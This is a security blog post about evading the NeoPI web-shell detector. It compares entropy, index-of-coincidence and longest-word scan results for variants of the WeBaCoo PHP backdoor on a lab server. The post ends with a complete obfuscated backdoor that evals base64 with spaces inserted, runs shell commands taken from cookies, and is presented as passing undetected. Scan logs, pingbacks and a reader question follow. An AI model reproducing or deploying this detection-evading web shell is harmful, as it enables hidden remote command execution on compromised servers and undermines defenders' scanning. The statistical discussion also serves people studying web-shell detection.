Maths behind web shell code detection
Trying to enhance WeBaCoo’s stealth behavior I continuously examine various tools and methods used to detect hidden web backdoor shell code at infected hosts. The latest tool that came into my sight is NeoPI, a python script that uses various statistical methods to discover potential obfuscated and encrypted content within text/script files. NeoPI follows a very interesting approach by ranking potential malicious files based on Entropy, Longest Word and Index of Coincidence tests. Unfortunately, WeBaCoo’s base64 obfuscated backdoor code hasn’t passed undetected from NeoPI, ranked within the top 10 in a regular web server setup. Consequently, I proceeded to a further analysis of the tool in a try to find ways to effectively bypass its tests.
I mentioned NeoPI in one of my previous posts about web backdoor detection, although till recently I haven’t realized how useful it can prove under certain circumstances. The tool has five testing categories:
- Entropy: Measure file’s uncertainty associated with the ascii charset (more info)
- Longest Word: Large strings might form encrypted/obfuscated code
- Index of Coincidence: Low IC indicates potential encryption/obfuscation (more info)
- Signature: Search files for “dangerous” strings
- Compression: Compare files’ compression ratio (more info)
To examine NeoPI’s results in a real setup, I established a web server debian VM with 3 CMS installations (Joomla, WordPress and Coppermine). Under the web root path I have placed two WeBaCoo’s generated files: webacoo.php (base64 obfuscated) and webacoo_raw.php (raw php code).
In order to make results more accurate, the file extension regular expression feature was used to search only for server side PHP files. The initial scan report for all the tests under the webroot path is as follow:
[[ Total files scanned: 10235 ]] [[ Total files ignored: 0 ]] [[ Scan Time: 48.170000 seconds ]] [[ Top 10 entropic files for a given search ]] 6.1817 /var/www/gallery/lang/chinese_gb.php 6.1784 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php 6.1710 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php 5.8753 /var/www/blog/wp-admin/js/revisions-js.php 5.7846 /var/www/gallery/lang/japanese.php 5.7306 /var/www/webacoo.php 5.6484 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php 5.6296 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/sk.php 5.6203 /var/www/plugins/system/nonumberelements/helper.php 5.6133 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/pl.php [[ Top 10 longest word files ]] 745 /var/www/gallery/include/exif_php.inc.php 745 /var/www/gallery/exifmgr.php 741 /var/www/gallery/lang/japanese.php 728 /var/www/blog/wp-admin/js/revisions-js.php 522 /var/www/blog/wp-includes/functions.php 516 /var/www/libraries/tcpdf/tcpdf.php 474 /var/www/plugins/content/jw_allvideos/includes/sources.php 456 /var/www/blog/wp-content/plugins/sexybookmarks/includes/html-helpers.php 436 /var/www/gallery/lang/chinese_gb.php 354 /var/www/blog/wp-includes/class-simplepie.php [[ Average IC for Search ]] 0.0372679517799 [[ Top 10 lowest IC files ]] 0.0198 /var/www/webacoo.php 0.0206 /var/www/gallery/lang/chinese_gb.php 0.0217 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php 0.0217 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php 0.0217 /var/www/templates/system/index.php 0.0217 /var/www/administrator/templates/system/index.php 0.0222 /var/www/blog/wp-content/themes/lightword/alternatives/404.php 0.0226 /var/www/blog/wp-admin/js/revisions-js.php 0.0270 /var/www/includes/HTML_toolbar.php 0.0272 /var/www/templates/beez/html/com_user/reset/complete.php [[ Top 10 signature match counts ]] 43 /var/www/gallery/include/themes.inc.php 43 /var/www/gallery/themes/sample/theme.php 26 /var/www/blog/wp-admin/includes/class-ftp.php 19 /var/www/blog/wp-content/plugins/nextgen-gallery/lib/imagemagick.inc.php 14 /var/www/libraries/geshi/geshi/php.php 13 /var/www/blog/wp-includes/Text/Diff/Engine/native.php 10 /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php 9 /var/www/gallery/include/functions.inc.php 8 /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/config.php 8 /var/www/blog/wp-admin/includes/class-wp-filesystem-ssh2.php [[ Top 10 compression match counts ]] 1.0704 /var/www/administrator/templates/system/index.php 1.0704 /var/www/templates/system/index.php 1.0000 /var/www/blog/wp-content/plugins/sexybookmarks/includes/index.php 1.0000 /var/www/blog/wp-content/plugins/sexybookmarks/js/index.php 0.9663 /var/www/blog/wp-content/themes/lightword/alternatives/404.php 0.8958 /var/www/includes/mambo.php 0.8860 /var/www/includes/joomla.php 0.8821 /var/www/includes/vcard.class.php 0.8818 /var/www/includes/PEAR/PEAR.php 0.8796 /var/www/includes/HTML_toolbar.php [[ Top cumulative ranked files ]] 122 /var/www/webacoo.php 202 /var/www/blog/wp-admin/js/revisions-js.php 528 /var/www/plugins/content/jw_allvideos/includes/elements/header.php 912 /var/www/plugins/content/jw_allvideos/includes/helper.php 984 /var/www/modules/mod_archive/helper.php 1100 /var/www/libraries/bitfolge/vcard.php 1210 /var/www/administrator/components/com_content/elements/article.php 1240 /var/www/gallery/addfav.php 1246 /var/www/administrator/components/com_installer/admin.installer.php 1258 /var/www/administrator/components/com_config/views/component/view.php |
While webacoo_raw.php successfully passed the tests, obfuscated code (webacoo.php) didn’t have the same luck. Entropy and Index of Coincidence tests have the highest scores, marking the tool as a possible malicous file. Despite these two scores, the obfuscated code has a high score at the longest word test too, but it is not observable in the lab setup because of the CMS long string matching and validating features.
These high scores are due to base64 encoding payload string. In order to bypass them, the generated code must implement some new features to trick these tests. My first thought was to split the encoded data into smaller chunks which are finally concatenated to form the overall payload. Although, after some tests this proved insufficient to bypass IC and Entropy tests. A second approach is to insert some spaces into the encoded data (space is not a valid base64 character) and delete them with a replace function before decode the data.
The question now is: After how many characters will a new space be inserted in order to have the best result? Trying to find the most efficient value, I created various code files with different group sizes (after 1,5,10,20 characters) between spaces and run NeoPI to compare the results.
[[ Total files scanned: 30 ]] [[ Total files ignored: 0 ]] [[ Scan Time: 0.010000 seconds ]] [[ Top 10 entropic files for a given search ]] 5.7646 /var/www/pwn/webacoo_new20.php 5.7306 /var/www/pwn/webacoo.php 5.6999 /var/www/pwn/webacoo_new10.php 5.5322 /var/www/pwn/webacoo_new5.php 5.1328 /var/www/pwn/webacoo_raw.php 4.2037 /var/www/pwn/webacoo_new1.php [[ Top 10 longest word files ]] 295 /var/www/pwn/webacoo.php 94 /var/www/pwn/webacoo_raw.php 51 /var/www/pwn/webacoo_new1.php 51 /var/www/pwn/webacoo_new10.php 51 /var/www/pwn/webacoo_new5.php 51 /var/www/pwn/webacoo_new20.php [[ Average IC for Search ]] 0.040872937004 [[ Top 10 lowest IC files ]] 0.0194 /var/www/pwn/webacoo_new20.php 0.0198 /var/www/pwn/webacoo.php 0.0224 /var/www/pwn/webacoo_new10.php 0.0301 /var/www/pwn/webacoo_raw.php 0.0338 /var/www/pwn/webacoo_new5.php 0.2009 /var/www/pwn/webacoo_new1.php [[ Top 10 signature match counts ]] 1 /var/www/pwn/webacoo.php 1 /var/www/pwn/webacoo_raw.php 1 /var/www/pwn/webacoo_new1.php 1 /var/www/pwn/webacoo_new10.php 1 /var/www/pwn/webacoo_new5.php 1 /var/www/pwn/webacoo_new20.php [[ Top 10 compression match counts ]] 0.8114 /var/www/pwn/webacoo_new10.php 0.8101 /var/www/pwn/webacoo_new20.php 0.7993 /var/www/pwn/webacoo.php 0.7947 /var/www/pwn/webacoo_new5.php 0.7593 /var/www/pwn/webacoo_raw.php 0.5407 /var/www/pwn/webacoo_new1.php [[ Top cumulative ranked files ]] 8 /var/www/pwn/webacoo_new20.php 9 /var/www/pwn/webacoo.php 11 /var/www/pwn/webacoo_new10.php 17 /var/www/pwn/webacoo_new5.php 17 /var/www/pwn/webacoo_raw.php 22 /var/www/pwn/webacoo_new1.php |
webacoo_new20.php (insert space after 20 characters) has the worst behavior (even worse than the original webacoo.php with no spaces inserted). On the other hand webacoo_new1.php (space after each character) has the lowest score in every partial test, making it the most efficient choice (even better from the raw code).
Consequently, the new final backdoor file that is capable to pass undetected from NeoPI is as follow:
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?> |
[[ Total files scanned: 10230 ]] [[ Total files ignored: 0 ]] [[ Scan Time: 46.120000 seconds ]] [[ Top 10 entropic files for a given search ]] 6.1817 /var/www/gallery/lang/chinese_gb.php 6.1784 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php 6.1710 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php 5.8753 /var/www/blog/wp-admin/js/revisions-js.php 5.7846 /var/www/gallery/lang/japanese.php 5.6484 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php 5.6296 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/sk.php 5.6203 /var/www/plugins/system/nonumberelements/helper.php 5.6133 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/pl.php 5.6060 /var/www/blog/wp-config.php [[ Top 10 longest word files ]] 745 /var/www/gallery/include/exif_php.inc.php 745 /var/www/gallery/exifmgr.php 741 /var/www/gallery/lang/japanese.php 728 /var/www/blog/wp-admin/js/revisions-js.php 522 /var/www/blog/wp-includes/functions.php 516 /var/www/libraries/tcpdf/tcpdf.php 474 /var/www/plugins/content/jw_allvideos/includes/sources.php 456 /var/www/blog/wp-content/plugins/sexybookmarks/includes/html-helpers.php 436 /var/www/gallery/lang/chinese_gb.php 354 /var/www/blog/wp-includes/class-simplepie.php [[ Average IC for Search ]] 0.0372700176166 [[ Top 10 lowest IC files ]] 0.0206 /var/www/gallery/lang/chinese_gb.php 0.0217 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php 0.0217 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php 0.0217 /var/www/templates/system/index.php 0.0217 /var/www/administrator/templates/system/index.php 0.0222 /var/www/blog/wp-content/themes/lightword/alternatives/404.php 0.0226 /var/www/blog/wp-admin/js/revisions-js.php 0.0270 /var/www/includes/HTML_toolbar.php 0.0272 /var/www/templates/beez/html/com_user/reset/complete.php 0.0273 /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php [[ Top 10 signature match counts ]] 43 /var/www/gallery/include/themes.inc.php 43 /var/www/gallery/themes/sample/theme.php 26 /var/www/blog/wp-admin/includes/class-ftp.php 19 /var/www/blog/wp-content/plugins/nextgen-gallery/lib/imagemagick.inc.php 14 /var/www/libraries/geshi/geshi/php.php 13 /var/www/blog/wp-includes/Text/Diff/Engine/native.php 10 /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php 9 /var/www/gallery/include/functions.inc.php 8 /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/config.php 8 /var/www/blog/wp-admin/includes/class-wp-filesystem-ssh2.php [[ Top 10 compression match counts ]] 1.0704 /var/www/administrator/templates/system/index.php 1.0704 /var/www/templates/system/index.php 1.0000 /var/www/blog/wp-content/plugins/sexybookmarks/includes/index.php 1.0000 /var/www/blog/wp-content/plugins/sexybookmarks/js/index.php 0.9663 /var/www/blog/wp-content/themes/lightword/alternatives/404.php 0.8958 /var/www/includes/mambo.php 0.8860 /var/www/includes/joomla.php 0.8821 /var/www/includes/vcard.class.php 0.8818 /var/www/includes/PEAR/PEAR.php 0.8796 /var/www/includes/HTML_toolbar.php [[ Top cumulative ranked files ]] 199 /var/www/blog/wp-admin/js/revisions-js.php 521 /var/www/plugins/content/jw_allvideos/includes/elements/header.php 907 /var/www/plugins/content/jw_allvideos/includes/helper.php 977 /var/www/modules/mod_archive/helper.php 1094 /var/www/libraries/bitfolge/vcard.php 1203 /var/www/administrator/components/com_content/elements/article.php 1233 /var/www/gallery/addfav.php 1240 /var/www/administrator/components/com_installer/admin.installer.php 1252 /var/www/administrator/components/com_config/views/component/view.php 1264 /var/www/xmlrpc/includes/framework.php |
This new technique to bypass statistical detection methods will be implemented in WeBaCoo’s next release.
A. Bechtsoudis
[...] of obfuscated and encrypted webshells. I recently came across an article about Webacoo and a rewrite of its php backdoor to avoid detection from [...]
[...] obfuscated and encrypted webshells. I recently came across an article about Webacoo shell and a rewrite of this php backdoor to avoid detection from [...]
[...] Billets en relation : 16/12/2011. Maths behind web shell code detection : bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/ 21/12/2011. NeoPI : github.com/Neohapsis/NeoPI 24/12/2011. Source : [...]
PLEASE TELL ME EXACT FORMULA FOR CALCULATING THE CUMULATIVE RANKS OF WEBSHELLS BASED ON NEOPI TOOL